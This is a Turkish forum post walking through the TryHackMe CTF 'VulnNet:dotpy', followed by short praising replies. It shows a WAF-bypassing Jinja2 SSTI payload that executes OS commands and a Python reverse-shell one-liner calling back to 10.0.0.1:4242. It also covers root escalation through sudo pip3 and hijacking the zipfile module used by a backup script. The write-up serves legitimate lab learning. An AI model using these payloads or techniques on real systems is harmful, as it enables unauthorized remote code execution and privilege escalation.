Tryhackme | VulnNet:dotpy CTF WriteUp

w1sd0m

Katılımcı Üye
28 Mar 2020
699
626
/802.1x/
Tryhackme | VulnNet:dotpy CTF WriteUp by w1sd0m

VulnNet:dotpy


8t621bg.jpg



Selam dostlar, bu gün sizlere Tryhackme'de yer alan "VulnNet:dotpy" adlı CTF'in çözümünü anlatacağım.
Makinenin çözümü biraz uzun ancak eğlenceli olduğundan okurken canınız sıkılmayacak.
Ayrıca güzel de bir açığı içerdiği için koymak istedim.
İyi okumalar.


Platform: Tryhackme.com
Title: VulnNet:dotpy
Difficulty: Medium
Created by: SkyWaves

Total point: 60

|
|
V


Öncelikle bir port taraması yapalım bakalım yolumuz ne olacak.
nmap -sC -sV -vv <IP>

kl9qvld.png


Sadece 8080 portunun açık olduğunu görüyoruz. Port üzerinde http servisi çalıştırılıyor.

CTF'in "web-exploit" temalı olduğunu buradan anlayabiliriz.
Devam ediyoruz...


Sitede karşımıza bir login sayfası çıktı. Bir kullanıcı oluşturalım bakalım neler olacak.
cp8c6gv.png
f06hvoa.png


Siteye kayıt olduk ve giriş yaptık.
Bizi aşağıdaki arayüze yönlendirdi.


dup8p36.png


Biraz kurcaladım burayı, gezdim, dolaştım ancak bir sonuç elde edemedim.
Bu kez "
url" ile oynayayım dedim ve ilginç bir sonuç ile karşılaştım.


42ijvbc.png


Url'e yazdıklarım template'e basılıyor. Bu aklıma "SSTI" zaafiyetini getirdi.
"SSTI" yani "Server Site Template Injection" açığı için biraz araştırma yaptım.
CTF'lerde çokça başvurulan bir kitap olan "HackTricks"in ssti makalesinde aradığımı buldum.

Python:
“{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}”

ahkl253.png


Bu açık sayesinde bir "Reverse_shell" göndererek bağlantı almayı planlıyorum.
Ancak "waf" için shell'i "encode" etmem gerekiyor.
Nasıl yapılıyor hadi birlikte bakalım...

k66pt4s.png

br9sfqc.png


Şimdi, bağlantımızı encode ettik. "HackTricks" adresinden de gerekli kodu almıştık.
Bunları birleştirme vakti geldi artık.

kqderef.png
yp0hw30.png


Çalışacağından %100 emin olmadığım için "Burpsuit" ile bunu bi test edelim.
Aracımızı açalım ve sayfayı yeniden yükleyerek bağlantıyı alalım.
Ardından bunu "Repeater" bölümüne gönderelim.

e43y6v1.png

akokajx.png


"Send" butonuna basıp göndermeden önce "Netcat" ile gelecek olan bağlantıyı alabilmek için gerekli portu dinlemeye başlayalım.

d7vxnpa.png

7w5z0i9.png


Bağlantımızı aldığımıza ve shell'i stabil hale getirdiğimize göre en sevdiğim bölüm olan "Privilege-Escalation (yetki-yükseltme)"e geçebiliriz.
Burada birçok işlem yapılabilir ancak ben hep şunu derim;"İlk önce en kolayı düşün".
Kullanıcımızın çalıştırmaya yetkisi olan dosyalar varmı ona bakalım.

3n0cs13.png


"pip3 install" komutunu kullanabileceğimizi görüyoruz.
O halde bizde içeriye bize "system-adm"kullanıcısının shellini kazandıracak bir "Python_reverse_shell" dosyası çekerek bunu çalıştıralım.

Python:
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

5gd2hr8.png

e13uc2s.png

8e22u16.png


Shell dosyamızı içeriye attık ve ters bağlantıyı yakaladık. İçerideki "user.txt" adlı dosyaya baktığımızda ilk flag'i almış olduk.
Ardından "root" olabilmek için tekrardan bu kullanıcının çalıştırabileceği dosyalar varmı ona baktık.
/usr/bin/python3 /opt/backup.py komutunu görüyoruz.

"backup.py" dosyasının içeriğine baktığımızda ise;
Python:
from datetime import datetime
from pathlib import Path
import zipfile


OBJECT_TO_BACKUP = '/home/manage'  # The file or directory to backup
BACKUP_DIRECTORY = '/var/backups'  # The location to store the backups in
MAX_BACKUP_AMOUNT = 300  # The maximum amount of backups to have in BACKUP_DIRECTORY


object_to_backup_path = Path(OBJECT_TO_BACKUP)
backup_directory_path = Path(BACKUP_DIRECTORY)
assert object_to_backup_path.exists()  # Validate the object we are about to backup exists before we continue

# Validate the backup directory exists and create if required
backup_directory_path.mkdir(parents=True, exist_ok=True)

# Get the amount of past backup zips in the backup directory already
existing_backups = [
    x for x in backup_directory_path.iterdir()
    if x.is_file() and x.suffix == '.zip' and x.name.startswith('backup-')
]

# Enforce max backups and delete oldest if there will be too many after the new backup
oldest_to_newest_backup_by_name = list(sorted(existing_backups, key=lambda f: f.name))
while len(oldest_to_newest_backup_by_name) >= MAX_BACKUP_AMOUNT:  # >= because we will have another soon
    backup_to_delete = oldest_to_newest_backup_by_name.pop(0)
    backup_to_delete.unlink()

# Create zip file (for both file and folder options)
backup_file_name = f'backup-{datetime.now().strftime("%Y%m%d%H%M%S")}-{object_to_backup_path.name}.zip'
zip_file = zipfile.ZipFile(str(backup_directory_path / backup_file_name), mode='w')
if object_to_backup_path.is_file():
    # If the object to write is a file, write the file
    zip_file.write(
        object_to_backup_path.absolute(),
        arcname=object_to_backup_path.name,
        compress_type=zipfile.ZIP_DEFLATED
    )
elif object_to_backup_path.is_dir():
    # If the object to write is a directory, write all the files
    for file in object_to_backup_path.glob('**/*'):
        if file.is_file():
            zip_file.write(
                file.absolute(),
                arcname=str(file.relative_to(object_to_backup_path)),
                compress_type=zipfile.ZIP_DEFLATED
            )
# Close the created zip file
zip_file.close()

Kodu okuyup ne yaptığını anlamayı size bırakıyorum :)

Burada işimiz çok basit aslında.
İçerisinde bize bir "
bash" veren ve adı da "zipfile.py" olan bir python dosyası olsa işimizi çözerdi değil mi?
O halde bu bahsini ettiğimiz dosyayı oluşturalım bakalım işe yarayacak mı.

t3g60yi.png


Bu arada "Görsel sanatlar" okumayı düşünüyorum, bir kaç tavsiye alabilirim :)

Son olarak bahsettiğim dosyayı oluşturup işleme sokuyorum ve bash'i alıyorum.
"root.txt" adlı dosyaya bakıyoruz ve son flag'i de alıyoruz.

4n4b2vl.png



^
|
|



Değerli dostlarım, konunun sonuna geldik.
Yoğun olmama rağmen forumun "CTF" bölümünü boş bırakmamayı düşünerek haftada en_az_1-en_çok_2 makine çözümü paylaşacağım.
Bunlar "
Easy-Medium, Medium-Hard ve Hard-Easy" şeklinde dönüşümlü olacak.
Hem CTF çözenler için hemde bu alana meraklı olanlar için "
CTF Bölümü"nü takip etmeleri faydalı olacaktır.

Teşekkürler.






d8jvzh6.png
 

Helmsys

Ar-Ge Ekibi Kıdemli
16 Mar 2022
1,492
1,652
Muazzam bilgiler,
Adım adım tarifler,
Çabalamaya teşfik,
Daha ne söylenebilir ki..
Her şey mükemmel yazılmış ve mükemmel tarif edilmiş.

Gerçek anlamda "Eline bilgine sağlık" :)
 

Woıh

Üye
23 Mar 2022
85
43
No System Is Safe
Dostum Çok İyi bir bilgi verdin ve anlatımına bayıldım Eline Ve Emeğine Sağlık Başarılarının Devamını Diler İyi Çalışmalar Dilerim...
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.